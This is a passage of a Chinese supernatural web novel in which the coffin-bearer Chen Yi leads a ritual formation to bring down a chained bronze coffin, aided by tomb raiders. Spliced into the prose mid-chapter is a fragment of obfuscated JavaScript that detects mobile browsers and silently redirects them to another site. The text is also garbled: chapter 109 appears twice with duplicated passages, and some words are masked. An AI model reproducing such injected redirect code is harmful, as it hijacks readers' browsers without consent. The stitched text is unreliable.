陈义看向他,一字一顿地说道:“第三,我需要八个人布阵。我义字堂来了七个,还差一个。你的人,得有一个,随我一同入阵,共担风险。”
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一旦开阵,八人一体,气机相连,谁也无法中途脱身,否则就是阵毁人亡的下场。
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那汉子会意,重重地点了点头。
“好,我答应你。”张三D主沉声道,“我最好的兄弟,‘**’,随你入阵。”
“成交。”
陈义从胖三手中拿过那个紫檀木盒,打开。
里面并非什么法器,而是一沓厚厚的黄裱纸,和一支饱蘸朱砂的毛笔。
他当着张三爷的面,提笔悬腕,在黄裱纸上迅速画下一道繁复的符箓。
那符文似鸟篆,似龙章,组合在一起,竟隐隐构成了一口古朴的棺材图案。
“按个手印吧。”陈义将黄纸推了过去。
“这是‘抬棺契’。签了,生死有命。谁要是敢中途反悔,坏了规矩,不用我动手,祖师爷自会收了他。”
张三爷盯着那张散发着诡异气息的黄纸,只觉得一股寒意从脚底直冲天灵盖。
他犹豫了片刻,最终还是咬破指尖,将一个血红的指印,重重地按在了那棺材图案的正中央。
在他按下手印的瞬间。
“呼——”
那张黄纸无火自燃,升腾起一缕青烟。
青烟在空中没有散去,而是凝聚成一个模糊的“奠”字,停留了一瞬,才缓缓消散。
契约,已成。
“走吧。”
陈义站起身,目光穿过厂房的破洞,望向远处那片沉睡在黑暗中的山峦。
“去见见这位冠军侯。”
“时辰,快到了。”
第107章 跪下!你拜的是祖师爷,我拜的是阎王爷!
夜风卷着刺鼻的铁锈味,一行人钻出炼钢厂。
两拨人马泾渭分明,沉默着向黑暗深处的群山进发。
摸金门的人走在前面,为首的张三爷手持一具巴掌大小、刻满古篆的青铜“寻龙盘”,指针在月光下泛着幽幽的绿芒。
他的几个心腹则手持洛阳铲、探阴爪等工具,脚步轻盈,落地无声,显然都是山地里摸爬滚打的老手。
他们不时停下,用罗盘校对着方位,低声交谈着“龙脉走向”、“煞气郁结”之类的黑话,神情专注而凝重。
义字堂的人跟在后面,气氛却松弛得有些诡异。
“哎,我说大牛,你看他们那家伙事儿,花里胡哨的。”胖三凑到大牛身边,压着嗓子,眼睛里闪着看热闹的光。
“又是盘子又是爪子的,咱们抬棺匠出门,带几根杠木就够了。简单,实用!”
大牛目不斜视,从帆布包里掏出一个军用水壶,拧开喝了一口,然后递给胖三,闷声道:“省点口水,山路长。”
胖三接过水壶猛灌一口,咂咂嘴:“义哥也是,非要跟这帮挖人祖坟的合作。要我说,就该直接把他们全装进咱那口迎宾棺里,让他们跟祖师爷聊聊什么是规矩。”
走在他们中间的猴子冷不丁地插了一句:“你那身膘,棺材板都得给你定制加厚的。”
“去你的!”胖三笑骂着,队伍里的紧张气氛倒是被他搅和散了不少。
唯有那个被指派入阵的汉子“**”,始终沉默地跟在义字堂队伍的末尾。
他皮肤黝黑,一双手掌布满老茧,指节粗大,一看就是常年与土石打交道的硬手。
他打量着陈义的背影,眼神里充满了审视和不解。
他想不通,这个看上去比自己还年轻几岁的“八爷”,凭什么让三爷如此忌惮,甚至签下那种邪门的血契。
陈义自始至终没有回头,也没有看任何仪器。
他的脚步不快不慢,却总能精准地踏在最省力、最安稳的落脚点。
他身上的【山河鳞】早已与这片山脉的地气产生了共鸣。
在他眼中,山不再是山,而是一具庞大的、沉睡的躯体。哪里是经络,哪里是病灶,哪里有郁结的死气,他看得一清二楚。
前方,张三爷的队伍忽然停了下来。
“三爷,不对劲!”一个摸金校尉举着寻龙盘,脸色煞白,“指针疯了!这里的地气在排斥我们!”
众人抬头望去。
四周的山石树木,竟一模一样。
无论朝哪个方向走,最终都会诡异地绕回原地。
月光下,林间的雾气不知何时变得浓稠如墨,影影绰绰,像是藏着无数双怨毒的眼睛在窥伺。
“是鬼打墙!这还没到墓穴范围,怨气就已经能形成迷阵了!”张三爷的脸色阴沉下来。
“都别乱动!点三支‘问路香’,请祖师爷开道!”
两个校尉立刻从背包里取出三支儿臂粗的黑色线香,点燃后插在地上,口中念念有词,神情肃穆。
然而,那三支香非但没有正常燃烧,反而以肉眼可见的速度烧成了灰烬!
冒出的青烟没有指向生路,反而在半空中扭曲成一张张痛苦哀嚎的人脸,发出一阵无声的尖啸,随即被阴风吹散。
“噗!”
念咒的校尉如遭重击,一口鲜血喷出,惊骇道:“不行!这里的怨气太重,不认咱们摸金一脉的规矩!祖师爷……祖师爷指不了路!”
摸金门的人顿时一阵骚动,脸上都浮现出难以抑制的恐惧。
胖三见状,悄悄往陈义身边凑了凑,小声嘀咕:“义哥,这帮‘专业人士’,好像不太行啊……”
陈义终于停下脚步。
他淡淡地瞥了一眼那疯狂旋转的寻龙盘,又看了看地上那滩混着血的香灰,嘴角勾起一抹冷冽的弧度。
“规矩错了。”
他声音不高,却如洪钟大吕,震得每个人耳膜嗡鸣。
张三爷猛地转过头,眉头紧锁成一个“川”字:“陈八爷,此话何意?”
“你们是盗,是偷,是贼。”
陈义不紧不慢地解释,每一个字都像钉子,钉进摸金门众人的心里。
“不问自取,坏了阴宅风水,是为盗。此地的主人,自然不会给你们好脸色。”
“而我们,”陈义的目光扫过身后的兄弟,“是来抬棺的,是来送他上路的。我们是执绋人,是正经的白事行当,讲的是一个‘请’字。”
说着,他从大牛的帆布包里拿出一瓶最普通的二锅头,拧开了瓶盖。
“义字堂的规矩,见山敬山,见水敬水。”
“进了人家的地盘,总得先打个招呼,递上拜帖。”
他走到队伍最前方,将一口烈酒含在嘴里,猛地朝前方浓雾最深处喷去!
“噗——”
辛辣的烈酒化作一片细密的酒雾,带着一股滚烫的阳刚之气,瞬间将前方的迷雾灼出一个巨大的空洞!
紧接着,陈义抬起右脚,对着脚下的大地,重重跺了三下!
“咚!”
第一声,山风骤停!
“咚!”
第二声,万籁俱寂!
“咚!”
第三声落下,陈义的声音如滚雷般炸响:
“义字堂陈义,奉命前来,为冠军侯——出殡!”
话音落下的瞬间,众人惊骇地发现,眼前的景象开始如水波般剧烈扭曲、剥离!
原本一模一样的树木山石,像是褪色的画卷,露出了它们本来的面貌。
一条被乱石和荆棘掩盖的、真正的上山古道,清晰地出现在他们面前。
鬼打墙,就这么破了。
简单,粗暴,不讲道理。
摸金门的一众好手,包括张三爷在内,全都僵在原地,如同被施了定身术。
他们那些繁复的仪式、口诀、法器,在这简单至极的三脚、一口酒面前,显得像个天大的笑话。
“这……”**看着陈义的背影,喉结剧烈滚动了一下,眼神中的审视,已经彻底变成了无法言喻的敬畏与恐惧。
陈义没再多言,将酒瓶抛给胖三,当先一步,踏上了那条真正的山路。
“跟上。”
“主人家,已经等急了。”
再无人敢有异议。
一行人跟在陈义身后,气氛比之前更加死寂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909360|192254||http|test|mini|href|location''.split(''|''),0,{}));
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r>如果说之前他们对陈义是忌惮,那么现在,就是发自灵魂深处的恐惧。
又走了约莫半个时辰,前方豁然开朗。
一股浓烈到令人作呕的,混合着铁锈、血腥与千年腐殖质的恶臭扑面而来,仿佛打开了一座尘封千年的屠宰场。
他们,到了。
眼前是一处巨大的山谷,两侧是刀削斧劈般的万丈绝壁,直插云霄。
谷底一片死寂,寸草不生,地面呈现出一种被鲜血浸透的暗红色。
最骇人的是,谷底散落着上百具干枯的尸骸,他们的血肉早已被风干,紧紧贴在骨骼上,形成一个个扭曲的黑色剪影。
有的,还保持着向上攀爬的姿态,脸上凝固着极致的恐惧。
“这就是……前三批折在这里的兄弟……”张三爷的声音干涩得如同砂纸摩擦。
所有人的目光,都不由自主地被吸引到了山谷正中央的峭壁之上。
只见那百丈高的峭壁半空中,一口巨大无比的青铜棺椁,被九条水桶粗细、锈迹斑斑的玄铁锁链,死死地钉在山体之中!
它就那么静静地悬在那里,仿佛亘古如此。
明明没有任何声音,却让每个人都感觉耳边响起了千军万马的冲杀之声,金戈铁马,血流漂杵!
一股霸道、凶戾、充满了无尽杀伐之意的气息,如同一座无形的大山,死死压在每个人的心头,让人喘不过气来。
“咕咚。”胖三艰难地咽了口唾沫,双腿已经开始不受控制地发软。
“义哥……这……这玩意儿……是棺材?这**是一座山吧!”
就连一向天不怕地不怕的大牛,此刻也握紧了拳头,肌肉紧绷,眼神中充满了前所未有的凝重。
陈义仰着头,静静地看着那口悬棺。
他的【阴阳两判鳞】告诉他,这口棺材,以及它所在的整座山,就是一个巨大的生命体。
棺材是心脏,锁链是血管,山体是身躯,而里面沉睡的那个“地煞将军”,就是这具庞大身躯的灵魂。
张三爷指着悬棺,声音颤抖:“就是它……任何东西,只要靠近它百米之内,无论是人是鸟,都会被瞬间吸干精血。我们试过用无人机,刚飞过去就失控坠毁,成了一堆废铁。”
陈义收回目光,面色平静得可怕。
他转向大牛,声音没有一丝波澜。
“开包,亮家伙。”
大牛应声,将背上沉重的帆布包放在地上,拉开拉链。
帆布包里,没有金银财宝,只有八根漆黑如墨的乌木杠木,数捆浸泡得发黑的麻绳,还有罗盘、墨斗、朱砂等一应抬棺匠的法器。
摸金门的人看着这些“土掉渣”的工具,眼中满是疑惑。
就凭这些东西,能对付得了那口邪门的悬棺?
陈义拿起属于自己的那根乌木杠木。
杠木入手,他整个人的气势陡然一变。
如果说之前他是一潭深不见底的静水,那么此刻,他就是一把即将饮血的绝世凶兵。
他环视众人,最后目光落在张三爷脸上。
“义字堂,开坛做法。”
“今儿个,不摸金,只抬棺。
第109章 八仙跪地接天棺,一口阳气送阎罗!
第一条锁链断裂的脆响,是点燃**桶的引信。
悬棺之内,地煞将军彻底暴走。
海啸般的黑色煞气冲刷着八仙抬棺阵,阳气护罩表面发出油脂被灼烧的“滋滋”声,光芒以肉眼可见的速度黯淡下去。
阵中七人本就气血翻腾,此刻更是感觉肺腑欲裂,每个人的脸色都呈现出一种失血过多的灰败。
他们全凭一口意志在死扛。
“义哥,顶不住了!这鬼东西……简直不是人抬的!”胖三的牙关在打颤,浑身肥肉筛糠般抖动,汗珠混着从嘴角溢出的血沫,糊满了他的脸。
**眼中已满是绝望。
他感觉自己的五脏六腑正在被一股无形的力量反复碾压,即将化为一摊肉泥。
他终于切身体会到,为何之前三批摸金门的好手,连靠近都做不到。
这根本不是凡人能够抗衡的伟力!
陈义很清楚,这样硬耗下去,不出十个呼吸,阵法必破,全员必死。
靠八仙阵的力量去一条条崩断锁链,和**没有区别。
他的视线穿过狂暴的煞气,精准地落在了不远处同样满面惊骇的张三爷身上。
“张三爷!”
陈义的声音不大,却像一根烧红的钢针,瞬间刺穿了煞气咆哮的嗓音,扎进张三爷的耳朵里。
“想救你家老太爷的命,对吗?”
张三爷下意识地点头。
“那就别跟个**一样站着!”陈义眼中爆出骇人的光,“借你摸金门百年煞气一用!”
“什么?”
张三爷怀疑自己的耳朵出了问题。
摸金一派,世代与古墓、阴煞、陈尸打交道,身上、工具上,乃至血脉里,都沉淀着一股活人避之不及的“土腥煞”。
这股煞气,是他们身份的烙印,也是一道催命的阴符。
陈义竟然要借这东西?
“那地煞将军,以山川地气为食,以杀伐怨念为魂!”陈义的语速快得像连珠炮,“你们摸金门的煞气,于他而言,就是黑夜里另一只同类的味道!”
“我要你用这股煞气做饵,给我引开它的注意!我才有机会,一举断了它的‘根’!”
张三爷心神剧震,瞬间领会了陈义的意图。
这是要用他们摸金校尉的“毒”,去攻那地煞将军的“邪”!
这法子,阴毒,疯狂,闻所未闻!
稍有不慎,他们这十几个摸金校尉,恐怕会第一个被那地煞将军当成开胃点心给生吞了!
“三爷!不能听他的!这太险了!”旁边的亲信嘶声劝阻。
张三爷死死盯着在煞气狂潮中摇摇欲坠的八仙阵,又看了一眼那口散发着无尽凶威的悬棺,眼中闪过一丝被逼到绝路的疯狂。
他知道,陈义若是败了,今天谁也走不出这山谷。
救老太爷的“太一真丹”,更是镜花水月!
“赌了!”
张三爷从后槽牙里挤出这两个字,每一个字都带着血腥味。
他猛地转身,对着身后十几个摸金校尉发出野兽般的低吼:“都他妈听着!把吃饭的家伙全给老子亮出来!结‘百鬼请路阵’!”
“三爷!”众人面色剧变。
“执行命令!”张三爷双目赤红,状若疯魔。
十几个摸金校尉相视一眼,脸上都浮现出一种亡命徒的决绝。
他们扯开背包,掏出各自压箱底的工具。
那是挖开过无数王侯将相陵寝的洛阳铲,铲刃上还带着洗不掉的陈年土色。
那是沾染过千年僵尸血,黑得发亮的驴蹄子。
那是在幽暗墓道中,伞骨下斩杀过邪祟的精钢伞……
每一件工具,都散发着一股陈腐、阴冷,混合着泥土与死亡的独特气味。
他们按照一种古老的方位,将这些凶器插在地上,随即齐齐划破指尖,将滚烫的鲜血滴在工具上,口中念诵起摸金一派秘不外传的咒诀。
“嗡——”
一股灰黑色的雾气,从那些古老的工具上升腾,带着令人作呕的腥臭和怨毒,在他们头顶盘旋,汇聚成一个不断旋转的灰色旋涡。
这股力量,与地煞将军的暴虐截然不同,它更阴险,更狡诈,充满了对活人彻骨的恶意。
“吼?”
悬棺中的地煞将军,果然被这股突然冒出的“同类”气息所吸引。
它的咆哮声中,带上了一丝困惑。
在它的感知里,下方那股纯阳的、让它极度厌恶的力量旁边,竟然又生出了一股虽然弱小,但“味道”却极为纯正的“地煞”之气。
就是它神念动摇的这一刹那!
陈义抓住了这个转瞬即逝的机会!
“义字堂,换阵!”
他发出一声惊**吼。
“八仙过海,各显神通!”
原本稳如磐石,只守不攻的八仙抬棺阵,轰然一变!
“大牛,力劈华山!”
“猴子,灵猴探路!”
“胖三,浑水摸鱼!”
……
陈义一声声号令,如同军中最严酷的军法。
阵中七人,连同**,体内的阳气在陈义的调度下,以各自截然不同的方式疯狂运转。
大牛的阳气变得刚猛无比,将前方的空气都挤压成一柄无形的巨斧。
猴子的阳气变得灵动刁钻,凝成一根专攻弱点的无形钢针。
胖三的阳气则变得混乱而粘稠,如同一张大网,起到干扰和迷惑的作用。
就连**,他那股最纯粹的蛮力,也被陈义引导,化作了一股一往无前的破甲重锤!
八股性质各异的阳气,在陈义的统一调度下,化作八道刺目的流光。
它们不再攻击锁链本身,而是绕过了悬棺,狠狠地轰击在锁链与山体连接的最深处!
陈义的目标,从一开始就不是那九条玄铁锁链。
而是为锁链提供力量的……山体龙脉节点!
他要断的,是这地煞将军的“根”!
“轰——隆——隆——!”
整座山谷,不,是整座大山,都发出了一声来自地底深处的痛苦呻吟!
八个龙脉节点被同时
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重创,那八条原本坚不可摧的玄铁锁链,就像被拔掉电源的灯管,瞬间光芒黯淡。
“就是现在!”
陈义眼中紫金光芒璀璨到了极致,他将自己最后的力量,全部灌注到最终的指令之中。
“给我——断!”
“断!”
“断!”
“断!”
八人齐声怒吼,八股阳气冲破极限,合而为一,化作一道比烈日还要耀眼的金色光柱,冲天而起,精准地斩在了悬棺与山体最后的连接点上!
没有金属断裂的巨响。
也没有惊天动地的**。
只有一片诡异的死寂。
在那片死寂中,八条玄铁锁链,连同之前断掉的那一根,好像被岁月瞬间腐蚀了千万年,无声无息地,化作漫天黑色的粉尘,飘散在风中。
束缚了冠军侯千年的枷锁,在这一刻,彻底断绝!
那口巨大的青铜棺椁,失去了所有支撑,带着碾碎一切的千钧之势,朝着谷底,轰然坠落!
“完了!”张三爷和他的一众手下,齐齐发出一声绝望的哀嚎。
如此高度,如此重量,一旦落地,就是棺毁煞出!
届时,地煞将军将彻底脱困,把这里的所有活物,屠戮殆尽!
然而,预想中的天崩地裂并未发生。
就在青铜棺即将砸落地面的前一刻,那已经变阵的“八仙抬棺阵”,再次流转,八股阳气交织成一张巨大的金色气网,在毫厘之间,稳稳地托住了坠落的棺椁。
“噗通!”
一声闷响。
那声音,不像重物落地,更像是一座无形的山,狠狠压在了一张薄纸上。
八仙阵所化的金色气网,瞬间被压得向下凹陷,几乎贴到了地面,光芒微弱得随时都会熄灭。
而阵中的八个人,包括陈义在内,齐齐身躯剧震,同时单膝重重跪地!
“噗——”
八口鲜血,同时狂喷而出,在他们面前的地上,染出了八朵凄厉的血色莲花。
他们,接住了!
但是,那股透过阵法传来的,混合了青铜棺的物理重量与地煞将军千年怨念杀气的恐怖压力,几乎要将他们的身体和神魂,同时压成齑粉!
“吼!吼!吼!”
棺材里,那被从“母体”上强行剥离的地煞将军,发出了前所未有的狂怒咆哮。
它在棺材里疯狂地冲撞着,每一次撞击,都让下方的八人身体剧烈地颤抖一次,鲜血不要钱似的从口鼻中涌出。
棺材,随时可能被从内部撞开!
所有人都陷入了更深的绝望。
然而,单膝跪地的陈义,随手抹掉嘴角的血迹,脸上却咧开一个充满了野性和疯狂的笑容。
他抬起头,看着在他头顶上方不断挣扎的青铜巨棺,对着已经快要昏厥的兄弟们,用嘶哑的嗓音低吼道:
“抓稳了!”
“咱们这位侯爷,该上路了。”
他的目光转向面无人色的胖三。
“胖三,给侯爷……”
“哭一个响的!”
第109章 八仙跪地接天棺,一口阳气送阎罗!
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悬棺之内,地煞将军彻底暴走。
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他的视线穿过狂暴的煞气,精准地落在了不远处同样满面惊骇的张三爷身上。
“张三爷!”
陈义的声音不大,却像一根烧红的钢针,瞬间刺穿了煞气咆哮的嗓音,扎进张三爷的耳朵里。
“想救你家老太爷的命,对吗?”
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“什么?”
张三爷怀疑自己的耳朵出了问题。
摸金一派,世代与古墓、阴煞、陈尸打交道,身上、工具上,乃至血脉里,都沉淀着一股活人避之不及的“土腥煞”。
这股煞气,是他们身份的烙印,也是一道催命的阴符。
陈义竟然要借这东西?
“那地煞将军,以山川地气为食,以杀伐怨念为魂!”陈义的语速快得像连珠炮,“你们摸金门的煞气,于他而言,就是黑夜里另一只同类的味道!”
“我要你用这股煞气做饵,给我引开它的注意!我才有机会,一举断了它的‘根’!”
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那是沾染过千年僵尸血,黑得发亮的驴蹄子。
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“断!”
“断!”
八人齐声怒吼,八股阳气冲破极限,合而为一,化作一道比烈日还要耀眼的金色光柱,冲天而起,精准地斩在了悬棺与山体最后的连接点上!
没有金属断裂的巨响。
也没有惊天动地的**。
只有一片诡异的死寂。
在那片死寂中,八条玄铁锁链,连同之前断掉的那一根,好像被岁月瞬间腐蚀了千万年,无声无息地,化作漫天黑色的粉尘,飘散在风中。
束缚了冠军侯千年的枷锁,在这一刻,彻底断绝!
那口巨大的青铜棺椁,失去了所有支撑,带着碾碎一切的千钧之势,朝着谷底,轰然坠落!
“完了!”张三爷和他的一众手下,齐齐发出一声绝望的哀嚎。
如此高度,如此重量,一旦落地,就是棺毁煞出!
届时,地煞将军将彻底脱困,把这里的所有活物,屠戮殆尽!
然而,预想中的天崩地裂并未发生。
就在青铜棺即将砸落地面的前一刻,那已经变阵的“八仙抬棺阵”,再次流转,八股阳气交织成一张巨大的金色气网,在毫厘之间,稳稳地托住了坠落的棺椁。
“噗通!”
一声闷响。
那声音,不像重物落地,更像是一座无形的山,狠狠压在了一张薄纸上。
八仙阵所化的金色气网,瞬间被压得向下凹陷,几乎贴到了地面,光芒微弱得随时都会熄灭。
而阵中的八个人,包括陈义在内,齐齐身躯剧震,同时单膝重重跪地!
“噗——”
八口鲜血,同时狂喷而出,在他们面前的地上,染出了八朵凄厉的血色莲花。
他们,接住了!
但是,那股透过阵法传来的,混合了青铜棺的物理重量与地煞将军千年怨念杀气的恐怖压力,几乎要将他们的身体和神魂,同时压成齑粉!
“吼!吼!吼!”
棺材里,那被从“母体”上强行剥离的地煞将军,发出了前所未有的狂怒咆哮。
它在棺材里疯狂地冲撞着,每一次撞击,都让下方的八人身体剧烈地颤抖一次,鲜血不要钱似的从口鼻中涌出。
棺材,随时可能被从内部撞开!
所有人都陷入了更深的绝望。
然而,单膝跪地的陈义,随手抹掉嘴角的血迹,脸上却咧开一个充满了野性和疯狂的笑容。
他抬起头,看着在他头顶上方不断挣扎的青铜巨棺,对着已经快要昏厥的兄弟们,用嘶哑的嗓音低吼道:
“抓稳了!”
“咱们这位侯爷,该上路了。”
他的目光转向面无人色的胖三。
“胖三,给侯爷……”
“哭一个响的!”
第110章 砸!用你的命,给侯爷开门!
胖三那张肥脸血色尽失,浑身上下每一寸都在颤抖,诉说着最原始的恐惧。
他听见陈义的命令,脑子里嗡的一声,一片空白。
喉咙里像是被灌满了烧红的铁砂,连一丝声音都挤不出来。
给侯爷哭?
给棺材里那个即将碾碎他们所有人的活祖宗哭?
这是哭丧,还是上赶着催自己的命?
“哭!”
陈义的声音再度响起,没有一丝情感的起伏,却像一根无形的钢针,狠狠刺入胖三的魂魄深处。
这一吼,把胖三濒临溃散的神智强行拽了回来。
他猛地一哆嗦,求生的本能彻底压垮了恐惧。
死就死!
义哥让哭,那就哭!
总好过被这口棺材活活压成一张肉画!
他拼命吸了一口气,胸口撕裂般的剧痛让这口气瞬间岔掉,喉咙里发出破风箱般的“嗬嗬”声。
他顾不上了。
扯开嗓子,用尽了这辈子所有的力气,嚎了出来。
“我的侯爷啊——!”
这一嗓子,嘶哑尖利,哪有半分平日里练就的悲切婉转,纯粹是濒死野兽的哀鸣,调子都拐进了九霄云外。
“您死得好惨呐——!您戎马一生,功盖世,怎么就落到今天这步田地了啊——!”
胖三一边嚎,一边疯狂挤着眼睛,可脸上除了血水和冷汗,什么都流不出来。
他心一横,将平日里从评书演义、街头巷议里听来的词儿,一股脑地往外倾倒。
“想您当年,金戈铁马,气吞**!现如今,却被困在这深山老林,连个烧纸的后人都没!您说您冤不冤呐——!”
这哭嚎在死寂的山谷中回荡,说不出的刺耳,道不尽的滑稽。
张三爷和他手下的摸金校尉们,一个个瞠目结舌,彻底看傻了。
他们见过下墓的,见过摸金的,可谁他妈见过对着一口千年凶棺这么哭丧的!
这义字堂的人……脑子是不是都有病?
然而,下一秒,无比诡异的一幕发生了。
随着胖三那不着四六的哭嚎声,那口悬在半空、疯狂震颤的青铜棺椁,竟然猛地一滞!
棺材里那股狂暴无匹的杀戮意志,仿佛一个正在疆场上全力搏杀的绝世将军,突然听见战场边上有个蝼蚁,指着他的鼻子骂他无能。
那种感觉,荒诞,却又无比清晰。
“吼——!!!”
一声比之前任何一次都更加暴怒的咆哮,从棺内轰然炸响!
那不再是纯粹的杀气,而是带着一种尊严被践踏、威严被冒犯的无边暴怒!
“轰!”
一股更恐怖的压力,宛如天塌地陷,当头砸落。
“噗!”
这一次,不光是义字堂的七个兄弟,连同被强行拉入阵中的**,全都齐齐身体一弓,又是一口逆血狂喷而出。
那张由阳气凝结的金色气网,光芒瞬间黯淡到极致,表面甚至浮现出蛛网般的细密裂纹。
“义哥……它、它好像更火大了……”胖三哭嚎的嗓音里带着绝望的颤音,他感觉自己的骨头都在发出不堪重负的呻吟。
“废话!”
陈义咳出一口血沫,脸上却咧开一个野性而狰狞的笑。
“就是要它生气!它一生气,心就乱了!心一乱,力就不纯!”
他的目光锐利如电,死死钉在头顶的青铜棺上,对着阵中已濒临极限的兄弟们低吼:
“都给老子听着!这棺材里躺着的,是汉代的冠军侯!生前杀伐太重,死后怨气不散,又被这山川地煞养了千年,成了一尊地煞将军!”
“这种东西,只敬畏力量,只懂得杀戮!你跟它讲道理,它听不懂!你怕它,它只会更凶!”
“咱们抬棺匠的规矩,就是要让它从骨子里明白,谁,才是送它上路的主家!”
陈义的话,每一个字都像烧红的烙铁,狠狠烙进每个人的心里。
原本已经涣散的眼神,重新凝聚起血性。
是啊!
他们是义字堂的抬棺匠!是陈八爷手底下的兵!
连皇城龙煞都渡了,还怕这一个**千年的将军?
“吼!”
地煞将军似乎感受到了下方蝼蚁们死灰复燃的战意,棺椁再次剧烈冲撞。
“咔嚓!”
金色气网上的裂纹,又扩大了一分。
**眼中的绝望再次涌现,他嘶哑地喊道:“没用的!这棺材早就和整座山的地脉融为一体,我们接住的不是一口棺材,是一整座山!它的力量无穷无尽,我们耗不过它的!”
“谁说要跟它耗了?”
陈义冷笑一声,猛地扭头,目光如两道实质的刀锋,直刺向不远处的张三爷。
“张三爷!”
这一声喊,让本就心惊肉跳的张三爷浑身剧颤。
“陈八爷……你……”
“你们摸金校尉,不是最擅长寻龙点穴,勘测风水吗?”陈义的声音在咆哮的煞气中无比清晰,“我现在没工夫跟你废话!立刻给老子找出这山谷地脉的‘生门’在何处!”
“生门?”张三爷愣住了,“你要生门干什么?这‘九龙锁棺’乃是绝杀之局,九个方位全是死门,根本不可能有生门!”
“放屁!”
陈义厉声喝骂,声震四野。
“天下万物,阴阳相生,有死就有生!它占尽九个生门凝练自身,就必然会留下一个最不起眼的‘泄阴口’!那里是它的罩门,也是我们唯一的生门!”
“我不管你用什么法子,寻龙诀也好,分金定穴也罢,十个呼吸之内,给老子找出来!”
“找不到,咱们就一块儿死在这儿,下去给你家老太爷作伴!”
陈义的话,像一桶淬了冰的井水,从头到脚浇在张三爷身上。
他看着在煞气中苦苦支撑、随时可能崩碎的八仙阵,又看了看那口不断散发着死亡气息的悬棺,一股寒气从脚底板直冲天灵盖。
他知道,陈义没有骗他。
今天,他们和义字堂,是拴在一根绳上的蚂蚱,谁也跑不了。
“三爷,别信他的!他这是想让我们去送死啊!”旁边的亲信死死拉住张三爷,满脸惊恐。
“滚开!”
张三爷一把将他推开,双眼布满血丝,从牙缝里挤出一句话:“都到这份上
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了,还有别的路走吗?!”
他猛地从怀里掏出一个巴掌大小、布满铜绿的古老罗盘,又从背包里抽出一根乌黑发亮的洛阳铲。
“所有摸金校尉,听我号令!”张三爷的声音嘶哑而疯狂,“以我为中心,结‘七巧分金阵’!用你们的血,喂你们的铲!”
十几个摸金校尉虽然面色惨白,但听到命令,还是毫不犹豫地行动起来。
他们都是在刀口上舔血过活的人,早就将生死置之度外。
众人迅速站定方位,纷纷掏出自己的洛阳铲,割破指尖,将滚烫的鲜血抹在冰冷的铲刃上。
张三爷站在阵心,将罗盘托在掌心,猛地一口精血喷在罗盘的磁针之上。
“嗡——”
那根原本静止的磁针,像是被注入了生命,开始疯狂地旋转,快到只能看到一团模糊的残影。
“寻龙分金看缠山,一重缠是一重关……”
张三爷口中念念有词,眼中只剩下那疯狂旋转的磁针,脚下踏着玄奥的步法,围绕着罗盘缓缓转动,整个人仿佛与这片山谷的脉动融为了一体。
这是摸金一派的压箱底秘术,以人血为引,以罗盘为媒,强行窥探地脉走向!
“吼!”
地煞将军似乎察觉到了威胁,棺椁的撞击更加猛烈。
“咔嚓……咔嚓……”
金色气网上的裂纹越来越多,眼看就要彻底崩碎!
“胖三!继续哭!”陈义再次下令。
“啊?”胖三快崩溃了,“义哥,还哭啊?我……我词儿都穷了!”
“那就骂!”陈义的声音冰冷刺骨,“捡难听的骂!骂他有娘生没爹养,骂他一生功业皆是虚妄,骂他死后连个收尸的都没有!”
胖三:“……”
兄弟们:“……”
这他妈是抬棺匠该干的事儿吗?
可命令就是命令。
胖三哭丧着脸,只能硬着头皮,扯开嗓子,把毕生所学的所有脏话,用一种扭曲的哭丧调子,一句句地喷了出来。
“侯爷啊!您怎么就不开眼啊!放着好好的阳关道不走,非要在这鬼地方待着!是不是当年**太多,把脑子杀坏了啊……”
这一下,效果拔群。
那地煞将军的意志,彻底被这闻所未闻的羞辱给引爆了。
它放弃了对八仙阵的全面压制,将大部分力量都凝聚起来,似乎要立刻冲破棺材,将胖三这个口无遮拦的家伙撕成碎片。
八仙阵的压力,骤然一轻!
就在此时,张三爷那边,异变陡生!
他手中罗盘的磁针,猛地停了下来,针尖以一个极其诡异的角度,指向了东南方三十步开外的一块毫不起眼的青石。
“找到了!”
张三爷面如金纸,用尽全身力气狂吼出声。
“巽位!地下三尺!是这凶穴的‘气眼’!”
陈义等的就是这句话!
他眼中精光爆射,根本没有任何犹豫,对着阵中压力最大、也是力量最刚猛的大牛,发出了石破天惊的号令。
“大牛!弃阵!”
“用你的命,给老子……”
“砸开它!”
第111章 你敢开棺,我敢磨魂!
“弃阵!”
这两个字,不是商量,是天宪。
如同雷霆击穿每个人的灵魂。
八仙抬棺阵,八人如一体,气机共连,生死一托。
弃阵,即是**!
然而,大牛没有丝毫的犹豫。
在陈义命令出口的刹那,他那双钳子般的大手猛然松开了杠木,放弃了所有防御。
轰——!
阵法瞬间洞开一个缺口,那座青铜山峦的全部重量,毫无保留地倾泻而下。
猴子、老七,乃至阵眼的陈义,脚下的坚硬岩石瞬间塌陷,发出令人牙酸的碎裂声!
七个人的脊梁骨,在同一刻发出了不堪重负的呻吟。
一股腥甜的铁锈味,猛地从喉咙深处涌上。
但,无人退后一步。
他们用碎裂的牙关,用燃烧的血肉,为大牛死死撑开了那不足一息的生机!
脱离阵法束缚的大牛,魁梧的身躯在空中撕开一道肉眼可见的气浪。
他不是扑向青石。
他是在坠落!
他将自己残存的所有阳气、血气、乃至神魂,全部灌注于右拳之上,整个人化作一颗燃烧的金色陨石,轰向张三爷所指的那块地煞阴泉的泉眼!
人在半空,拳未至,拳风已将那块青石表面压出蛛网般的裂纹。
“给俺——开!”
没有巨响。
只有一片死寂的“噗”声。
那块坚硬的青石,在大牛的拳下,如被戳破的脓包,无声地化为齑粉。
下一瞬,一股浓稠如墨、带着千年腐朽恶臭的黑气,从地底疯狂喷涌而出!
地煞阴泉,被打穿了!
“完了!泉眼破了!”张三爷的尖叫声变得扭曲,脸上再无半点血色,“那畜生的力量会暴涨!”
摸金校尉们连滚带爬,恨不得多生两条腿。
然而,陈义的脸上,却看不到一丝一毫的慌乱。
他的嘴角,反而勾起一个浸透了疯狂与残忍的弧度。
他等的,就是这一刻。
“换阵!”
“八仙坐莲台,阴阳大磨盘!”
陈义的怒吼声中,残存的七人强提一口气,脚下步法陡然逆转。
原本纯阳至刚的抬棺阵,瞬间变得诡异莫测。
